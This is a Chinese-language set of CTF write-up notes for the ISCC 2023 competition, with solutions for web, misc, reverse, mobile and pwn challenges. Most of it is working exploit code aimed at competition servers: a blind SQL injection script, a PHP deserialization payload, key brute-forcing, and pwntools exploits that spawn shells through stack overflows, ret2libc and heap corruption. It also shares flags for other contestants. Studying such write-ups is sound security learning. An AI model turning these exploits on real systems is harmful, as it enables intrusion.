技术内容 / 本科的一些学习笔记和wp / ISCC（2023）
ISCC（2023）
练武 week1
WEB
公共靶机，每天12点更新flag
更新后就不能交了
羊了个羊
F12，ctrl+U都用不了，直接地址栏网址前面加view-source:
然后找到vue.global.js，搜alert，如图最下面那一串alert里的字符串解两层base64即可
ISCC{iOwek0SDrV65JupR4LLMNNV4r1hox0la} 5/17
ISCC疯狂购物节-1
sql盲注，限制字符的数字部分长度，过滤了substr,mid,ord,
限制每秒一次，注起来太慢了
import requests
cookies = {
'messages': 'W1siX19qc29uX21lc3NhZ2UiLDAsNDAsIiBcdTUzYzJcdTY1NzBcdTk1MTlcdThiZWYhIl1d:1puSqh:LDYoxMm4NAeGHJZeWLY_tJeel5XXgpx4DKsBt6AaDm0',
'csrftoken': 'OCy5voRR2h8ESTQOB1XCIny8KOM5vwLOMux4QZbZ9M7XozwjrFIQotk6WjEDmMeL',
'sessionid': 'xqpd4vv554ja6iuljzcs3z2v4f2bflf3',
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
# 'Cookie': 'csrftoken=CUaTXkyTBh0BIJH6wPB4BCfj0XPY1UsNQOZw493nRNjUzQOh5oDM43Dk1oy77PAO; sessionid=or5651rwhi9pphofzt5i0hedk92tpp2y',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36',
}
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}~"
import time
first_code = '{'
while True:
for i in alp:
time.sleep(1)
response = requests.get(
f'http://47.94.14.162:10001/Details/search?id=4875610)||fl4g%20like%20binary%200x25{hex(ord(first_code))[2:]}{hex(ord(i))[2:]}25%23',
cookies=cookies,
headers=headers,
verify=False,
)
if i == '~':
exit()
if "fl4g" in response.text:
# print(response.text)
print(i)
first_code = i
break
else:
# print("no")
continue
用yafu尝试分解n，发现p,q是临近素数 fermat分解得到p,q在MainActivity。也可以用在线网站https://mogua.co/来看 
5.7-5.8
ISCC{q1U46ReaLM5m}
Where_is_your_love
Download.php里给了一个RSA的公钥
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq1z4KZn/krRpsVNGNkix
/WyrrTjDauDMk4Hfd20R5zgzBHtUtvKeTeg3kHKp2k6Pcl3pGSAAGLeEWFORV5ew
lvvSmov7WNZM6olsRs/QKbs03wP/YFUevmkl05ZtrXLlqlVohFddT0Q+BwcIdKfH
hPsZRqFdDrGyLfFkEEMOGth3XXwNtkJAlKLjTSkf2PvTJ1Km2jhfn9gcizan20Ey
5ufah/sBYqLSnNRYMg5R0pGiwcbmz3NzsNm8zopH5cNarrzVEeRlx86oqJw13CJB
DYV0VRNjNgW2+FOQBnMjcH9pCu/zQA3fdXExXXA0+Oe7X+866tlurPWY0YotihgQ
iwIDAQAB
-----END PUBLIC KEY-----
爆破n，e
import rsa
with open('keyiscc.pem',mode='rb') as f:
keydata= f.read()
pubckey = rsa.PublicKey.load_pkcs1_openssl_pem(keydata)
print(pubckey.n)
print(pubckey.e)
n = 21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
e = 65537
用yafu尝试分解n，发现p,q是临近素数
fermat分解得到p,q
解Enc.php下载下来的letter.php得到密文
<?php function enc($data)
{
$str="";
$a=strrev(str_rot13($data));
for($i=0;$i<strlen($a);$i++){
$b=ord($a[$i])+10;
$c=$b^100;
$e=sprintf("%02x",$c);
$str.=$e;
}
return $str;
}
?>
LoveStory.php里反序列化源码
<?php
include("./xxxiscc.php");
class boy {
public $like;
public function __destruct() {
echo "能请你喝杯奶茶吗？<br>";
@$this->like->make_friends();
}
public function __toString() {
echo "拱火大法好<br>";
return $this->like->string;
}
}
class girl {
private $boyname;
public function __call($func, $args) {
echo "我害羞羞<br>";
isset($this->boyname->name);
}
}
class helper {
private $name;
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __isset($val) {
echo "僚机上线<br>";
echo $this->name;
}
public function __get($name) {
echo "僚机不懈努力<br>";
$var = $this->$name;
$var[$name]();
}
}
class love_story {
public function love() {
echo "爱情萌芽<br>";
array_walk($this, function($make, $colo){
echo "坠入爱河，给你爱的密码<br>";
if ($make[0] =<mark> "girl_and_boy" && $colo </mark>= "fall_in_love") {
global $flag;
echo $flag;
}
});
}
}
if (isset($_GET["iscc"])) {
$a=unserialize($_GET['iscc']);
} else {
highlight_file(__FILE__);
}
Poc
链子不难，建议web手对着复现一下
boy(__destruct)→like→girl(__call)， girl($boyname)→helper(__get)， __isset{echo}→boy(__tostring)， $like->$string→helper()， helper($string)→love_story(名为"string"的$array) $make[0]表示访问数组$make的第一个元素，设置任意字符'xxx'都表示'xxx'是数组$make的第一个元素，因此设置任意字符即可通过if；array_walk()函数内function xxx($value,$key) 表示声明了一个$key=value（function中$key的值为array_walk函数内声明的$key的变量名，然后将$value的值赋给新的$key），因此本题$fall_in_love=赋给$make[0]的值，即$fall_in_love=array([0]=>"girl_and_boy")即可通过if判断
<?php
class boy {
public $like;
}
class girl {
public $boyname;
}
class helper {
public $name;
public $string;
}
class love_story {
public $fall_in_love =array(0=>"girl_and_boy");
}
$a = new boy();
$a -> like =new girl();
$a -> like -> boyname = new helper();
$a -> like -> boyname -> name = new boy();a
$a -> like -> boyname -> name ->like =new helper();
$a -> like -> boyname -> name ->like -> string = array("string"=>[new love_story(),'love']);
echo serialize($a);
boyname和name是私有属性构造payload时要加上%00类名%00
Payload
O:3:"boy":1:{s:4:"like";O:4:"girl":1:{s:13:"%00girl%00boyname";O:6:"helper":2:{s:4:"name";O:3:"boy":1:{s:4:"like";O:6:"helper":2:{s:12:"%00helper%00name";N;s:6:"string";a:1:{s:6:"string";a:2:{i:0;O:10:"love_story":1:{s:12:"fall_in_love";a:1:{i:0;s:12:"girl_and_boy";}}i:1;s:4:"love";}}}}s:6:"string";N;}}}
传参得到一段密文，将前边的加密算法改成解密算法出flag
<?php
function dec($data){
$str="";
for($i=0;$i<strlen($data);$i+=2){
$c=hexdec(substr($data,$i,2));
$b=$c^100;
$a=chr($b-10);
$str.=$a;
}
return str_rot13(strrev($str));
}
echo dec("e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404");
上大号说话
.git泄露
class ED:
def __init__(self):
self.file_key = ... # 1Aa
self.cipher_suite = Fernet(self.generate_key(self.file_key))
def crypto(self, base_str):
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def check_cookies(cookie):
ed = ED()
f, result = ed.decrypto(cookie)
black_list = ...
if not result[0:2] == b'\x80\x03':
return False
...
try:
result = pickle.loads(result)
if result.name <mark> 'mabaoguo' and result.random </mark> mabaoguo.random and result.gongfu == mabaoguo.gongfu:
return flag
else:
return result.name
except:f
return False
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
name = request.form['input_field']
name = Member(name)
name_pick = pickle.dumps(name, protocol=3)
name_pick = pickletools.optimize(name_pick)
ed = ED()
response = make_response(redirect('/'))
response.set_cookie('name', ed.crypto(name_pick).decode())
return response
temp_cookies = request.cookies.get('name')
if not temp_cookies:
...
else:
f = check_cookies(temp_cookies)
...
if __name__ == '__main__':
app.run()
session的key要爆破
四位数字大小写字母组合
爆破file_key
from cryptography.fernet import Fernet
import base64
from itertools import product
import string
import tqdm
name = 'gAAAAABkVOBvbu_K0HfEvjPViajQ9bO2TBNY3DinC68GXWMqDWuwNmdmdJEDehRlAwMwkOATs3hi0Da2XQQRYITkaW3uqwXS7JMWuX-vtJ-BtufwZcYtJ43727i_irhsP2figbq3Li8wM73NUElcL-b3KTRzOF4rduoAelAkW0Q48y3iPUIileY='
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
phar = tqdm.tqdm(total=62**4)
for keys in product((string.digits+string.ascii_letters),repeat=4):
phar.update(1)
try:
decrypt = Fernet(generate_key('%s%s%s%s'%keys)).decrypt(name.encode())
print(decrypt,'key is %s%s%s%s'%keys)
break
except:
continue
得到key是 5MbG
MISC
好看的维吾尔族小姐姐 misc1
文件后缀名改为png
然后修改高，或者通过crc恢复高
将下部的码左右翻转
然后扫datamatrix 然后再reverse
然后html entity
ISCC{you_got_it_welldone!}
菜鸟黑客1 misc2
内存取证
\Device\HarddiskVolume1\Users\lenovo\Desktop\flag.txt
flag.txt里是
这个人有个坏习惯, 他总爱用同一个密码DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}
key是 用户密码
ISCC2023
找个openssl的在线des工具
http://www.esjson.com/desEncrypt.html
静态flag
ISCC{dbsy_cdis_fd7n_s4fd}
消息传递 misc3
动态FLAG
Tcp 15和20流的password段
解base64后拼起来
WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ
然后
解压得到的文件夹，图片黑色为1，白色为0
8位一组二进制转成ASCII
import os
from PIL import Image
img_list = [f"{i+1}.png" for i in range(112)]
flag = ""
for f in img_list:
# 文件名如果是数字,处理该文件
img = Image.open(os.path.join('picture', f))
pixel = img.getpixel((1, 1)) # 获取左上角第一个像素点
if pixel == (0,0,0): # 如果像素点是黑色(0, 0, 0)
flag+="1" # 输出1
else:
flag+="0" # 否则输出0
img.close()
print("".join([chr(int(flag[i:i+8],2)) for i in range(0, len(flag), 8)]))
ISCC{i2s0c2c3}
只运行这段代码就行，前面是做题过程
脚本放到dictionary.txt同文件夹
dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
key, value = pair.split(':')
dict1[key] = value
print(dict1)
message="ISCC{i2s0c2c3}"
[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]
你相信AI吗？
动态FLAG
cnn网络结构
mnist的网络结构
不要把脚本传出去，我改的一把梭
放到model.zip同目录运行，需要pytorch,numpy
import torch
import numpy as np
import torch.nn as nn
class Digit(nn.Module):
def __init__(self):
super(Digit, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(1, 10, kernel_size=5),
nn.ReLU(),
nn.MaxPool2d(kernel_size=2),
nn.Conv2d(10, 20, kernel_size=3),
nn.ReLU(),
nn.Flatten(),
nn.Linear(2000, 500),
nn.ReLU(),
nn.Linear(500, 10)
)
def forward(self, x):
x = self.conv(x)
return x
model = Digit()
state_dict = torch.load("./model.zip")['model_state_dict']
model.load_state_dict(state_dict)
# 定义类别标签
labels = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
cipher_text = ""
# 遍历所有文件
for i in range(32):
filename = f'{i}.txt'
# 打开文件并读取数据
with open(f"./dataset/{i}.txt", "r") as f:
data = f.read().splitlines()
image_data = np.array([float(line) for line in data])
if image_data.shape[0] == 2352:
image_data = image_data.reshape(1, 1, 84, 28)
elif image_data.shape[0] == 1568:
image_data = image_data.reshape(1, 1, 56, 28)
image_data = torch.from_numpy(image_data)
image_data = image_data / 255.
image_data = image_data.type(torch.float32)
# 对图像进行预测
with torch.no_grad():
for i in range(0, image_data.shape[2], 28):
image = image_data[:, :, i:i+28, :]
output = model(image)
_, predicted = torch.max(output.data, 1)
cipher_text+=labels[predicted.item()]
cipher_text+=" "
import string
import itertools
import contextlib
import base64
cipher_text = cipher_text.split(" ")[:-1]
print(cipher_text)
def has_visible_bytes(input_bytes):
return all(chr(byte) in string.printable for byte in input_bytes)
for i in itertools.permutations("0123456789", 10):
maktrans = str.maketrans("0123456789", ''.join(i))
lis = [str.translate(i, maktrans) for i in cipher_text]
with contextlib.suppress(Exception):
plan_text = bytes(list(map(lambda x: int(x), lis)))
if has_visible_bytes(plan_text):
if b"SVNDQ3" in plan_text:
try:
print("FLAG是",base64.b64decode(plan_text).decode())
break
exit()
except:
continue
RE
re1 JustDoIt
def decrypt(a1_encrypted, a2, a3):
a1_decrypted = a1_encrypted.copy()
# reverse the operations performed in the encryption algorithm
for m in range(1, a3):
a1_decrypted[m] ^= a2[0]
a1_decrypted[m] -= a2[m % 4] % 5
a1_decrypted[m] += a2[2] % 6 + a2[3] // 6
a1_decrypted[m] -= a2[1] // 7 + a2[0] % 7
for k in range(1, a3):
a1_decrypted[k] -= k
v4 = a1_decrypted[a3 - 1]
for j in range(a3 - 1, 0, -1):
a1_decrypted[j] = a1_decrypted[j - 1]
a1_decrypted[0] = v4
for i in range(a3):
a1_decrypted[i] += 60
return a1_decrypted
a1_encrypted = [0x17, 0x44, 0x44, 0x0F, 0x5E, 0x0A, 0x08, 0x0A, 0x06, 0x5F, 0x08, 0x18, 0x57, 0x03, 0x1A, 0x69]
a2 = [0x49, 0x53, 0x43, 0x43]
a3 = 16
a1_decrypted = decrypt(a1_encrypted, a2, a3)
for i in range(len(a1_decrypted)):
print(chr(a1_decrypted [i]),end='')
ISCC{JustDoIt}
re2 变形记
from base64 import b64decode
secret = "填入base64的值"
print('ISCC{',end='')
print("".join([(v) if v.isdigit() == False else ((b64decode(secret[::-1].encode()).decode()[i-1])*(int(v)-1)) for i,v in enumerate(b64decode(secret[::-1].encode()).decode())]),end='}')
re3 狂飙-1
动态FLAG
里面有合约，差不多是区块链题
pwn环境跑脚本，爆破，需要ubuntu的libc在2.34即以上
from pwn import *
import os
context.log_level="debug"
os.system('chmod +x ./synthesis')
f=open("./synthesis","rb+")
data=f.read()
f.close()
sum=13
step=7
offset=0x15c0+0x9
datalist=list(data)
print(datalist[offset])
print(datalist[offset+step])
length=14
datalist[0x15c2] = 1
datalist[0x192b] = 0xd9
datalist[0x192c] = 0x11
datalist[0x194a] = 0xca
datalist[0x194b] = 0x11
datalist[0x196d] = 0xa7
datalist[0x196e] = 0x11
datalist[0x1999] = 0x7b
datalist[0x199a] = 0x11
datalist[0x19a0] = 0x64
datalist[0x19a1] = 0x11
material = b'4-chloroisatin\x00'
product = b'Ammosamide B\x00'
for i in range(len(material)):
datalist[0x2b08 + i] = material[i]
for i in range(len(product)):
datalist[0x2b18 + i] = product[i]
def write_order(b):
for i in range(14):
if b[i] == '0':
datalist[offset+i*step]=0
if b[i] == '1':
datalist[offset+i*step]=1
f=open("./synthesis","wb")
f.write(bytes(datalist))
f.close()
# write_order("00000000001111")
for i in range(16384):
tmp=bin(i)[2:].rjust(14,'0')
write_order(tmp)
sh=process("./synthesis")
sh.recvuntil(b'Desired product: Ammosamide B\n')
res=sh.recvline()
if b'flag' in res:
sh.interactive()
else:
sh.close()
continue
这是50种flag，数字是文件夹的数字
不放心的可以跑脚本验证
this is number: 1 ISCC{53241_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 2 ISCC{106483_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 3 ISCC{159723_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 4 ISCC{212965_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 5 ISCC{266204_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 6 ISCC{319445_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 7 ISCC{372681_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 8 ISCC{425929_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 9 ISCC{479175_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 10 ISCC{532411_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 11 ISCC{585650_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 12 ISCC{638885_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 13 ISCC{692131_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 14 ISCC{745363_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 15 ISCC{798609_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 16 ISCC{851865_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 17 ISCC{905095_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 18 ISCC{958349_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 19 ISCC{1011576_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 20 ISCC{1064821_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 21 ISCC{1118059_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 22 ISCC{1171303_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 23 ISCC{1224524_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 24 ISCC{1277777_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 25 ISCC{1331009_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 26 ISCC{1384281_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 27 ISCC{1437531_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 28 ISCC{1490737_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 29 ISCC{1543983_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 30 ISCC{1597243_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 31 ISCC{1650473_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 32 ISCC{1703737_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 33 ISCC{1756949_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 34 ISCC{1810189_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 35 ISCC{1863437_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 36 ISCC{1916709_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 37 ISCC{1969886_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 38 ISCC{2023157_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 39 ISCC{2076393_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 40 ISCC{2129641_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 41 ISCC{2182902_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 42 ISCC{2236097_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 43 ISCC{2289364_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 44 ISCC{2342605_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 45 ISCC{2395843_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 46 ISCC{2449069_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 47 ISCC{2502290_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 48 ISCC{2555577_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 49 ISCC{2608818_4-chloroisatin_1422201965553241_Ammosamide B}
this is number: 50 ISCC{2662027_4-chloroisatin_1422201965553241_Ammosamide B}
MOBILE
mobile1
静态
ISCC{YOU_LIKE_128215131d0dd4119e60}
mobile2
静态的
ISCC{flagfkyy}
mobile3
动态FLAG
在MainActivity。也可以用在线网站https://mogua.co/来看
dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#", "2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_", "1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378": "/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342": "i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377": "M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450": "6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210": "1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181": "k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190": "u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604": "<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443": "~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060": "C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523": "=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089": "^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590": "E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740": "Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651": "!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953": "-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437": "h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602": "t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410": "d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883": "N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359": "|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U", "1615466436.2634553015": "{"}
part1 = "xxxx.xxxx"[1:].split(".")
part2 = "xxxx.xxxx"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
print("ISCC{"+flag[:-3]+"}")
else:
print("检查 part1 和 part2 是否正确！")
PWN
pwn1 三个愿望
随机数预测
格式化字符串 泄露Canary
然后栈溢出到后门函数
from pwn import *
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序，linux系统，64位架构,debug
binary = './makewishes' #程序文件名或ip地址
# p = process(binary) #连接本地程序
p = remote("59.110.164.72",10023) #连接远程程序
elf = ELF(binary) #获得程序函数地址
eelf = cdll.LoadLibrary('./libc.so.6')
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
ru("Now you can make your first wish")
sl(b'a'*(0x16-0x10)+p32(1)+p32(1))
eelf.srand(1)
sl(str(eelf.rand() % 9 + 1))
ru("Now you can make your second wish!")
sl("%11$p")
ru("0x")
canary = int(rx(16),16)
log.success('canary',canary)
ru("Please give me a number!")
sl(str(2))
ru("ow you can make your final wish!")
sl(b'a'*0x28+p64(canary)+b'a'*8+p64(0x4011D6))
shell()
ISCC{3096-3860-419d-bfcb-986c}
pwn2 Login
是一个比较简单ret2libc，前置涉及到一个int数据的验证，题目直接给出了stdin地址，因此不需要泄露，根据给出文件直接算出地址，在print_name函数中执行memcpy后就溢出即可
from pwn import*
p=remote('59.110.164.72',10020)
elf=ELF('./Login')
mainadd=elf.symbols['main']
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
#ROPgadget --binary filename --only 'pop|ret'
pstart=b'a'*0x1c+p32(0x15CC15CC)#效验部分
rdiadd=0x00000000004008c3
ru("Here is a tip: ")
stdinadd=int(rx(14).decode(),16)#以16进识别并接收14字节的字符串，转为int
#_IO_2_1_stdin_
libc=ELF("./libc-2.23.so")
libc_base=stdinadd-libc.sym['_IO_2_1_stdin_']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__() #计算地址
print("%x"%libc_base)
p2=b'a'*(32+8) +p64(rdiadd)+p64(bin_sh_addr)+p64(system_addr)+p64(mainadd)
sa("input the username:",pstart)
sa("input the password:",p2)
sl('cat f*')
shell()
ISCC{7619-29d7-456f-af0e-678e}
pwn3 第一用笔-1
先从网上搜到7个用笔方法，按拼音拼成串，func_2有溢出可以跳到func_101101，在这里溢出拿libc和shell
from pwn import *
from itertools import *
# p =process('usage_of_pen')
# p = remote('59.110.164.72','10026')
context.log_level = 'error'
libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
kk = ['cuobi000','yufeng00','dunfeng0','cunfeng0','tifeng00','anfeng00','jiebi000']
for k in [8]:
ss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p = remote('59.110.164.72', 10026)
sa(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
msg = p.recvline()
if b'need' in msg:
p.close()
continue
context(arch='amd64', log_level = 'debug')
sa(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))
s(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
s(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
sl('cat f*')
shell()
break
pwn4 Your_character
先选 1进行第2层，在第2层菜单，edit有off_by_one,通过修改头得到重叠块然后打__free_hook写ong_gadget
from pwn import *
from itertools import *
#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')
libc = ELF('./libc-2.23.so')
elf = ELF('./your_character')
menu = b"Your choice :"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Damage of skill : ", str(size).encode())
p.sendafter(b"introduction of skill:", b'A')
def edit_size(idx, size):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Damage of skill : ", str(size).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendafter(b"introduction of skill : ", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index :", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')
p.sendlineafter(b"Your choice :", b'1') #in
for i in [0x80,0x18,0x18,0x18]:
add(i)
edit(1, b'A'*0x18+ p8(0x61))
free(2)
add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")
free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort
show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)
p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')
#gdb.attach(p)
#pause()
p.sendline(b'cat /flag*')
p.interactive()
练武 week2
web
小周的密码锁
除了语言是php，这个题跟web就没啥关系，纯逆算法+爆破hash
password2=5
得到源码
<?php
function MyHashCode($str)
{
$h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}
function intval40($code)
{
$falg = $code >> 32;
if ($falg == 1) {
$code = ~($code - 1);
return $code * -1;
} else {
return $code;
}
}
function Checked($str){
$p1 = '/ISCC/';
if (preg_match($p1, $str)){
return false;
}
return true;
}
function SecurityCheck($sha1,$sha2,$user){
$p1 = '/^[a-z]+$/';
$p2 = '/^[A-Z]+$/';
if (preg_match($p1, $sha1) && preg_match($p2, $sha2)){
$sha1 = strtoupper($sha1);
$sha2 = strtolower($sha2);
$user = strtoupper($user);
$crypto = $sha1 ^ $sha2;
}
else{
die("wrong");
}
return array($crypto, $user);
}
error_reporting(0);
$user = $_GET['username'];//user
$sha1 = $_GET['sha1'];//sha1
$sha2 = $_GET['//sha2sha2'];
//see me can you
if (isset ($_GET['password'])) {
if ($_GET['password2'] == 5){
show_source(__FILE__);
}
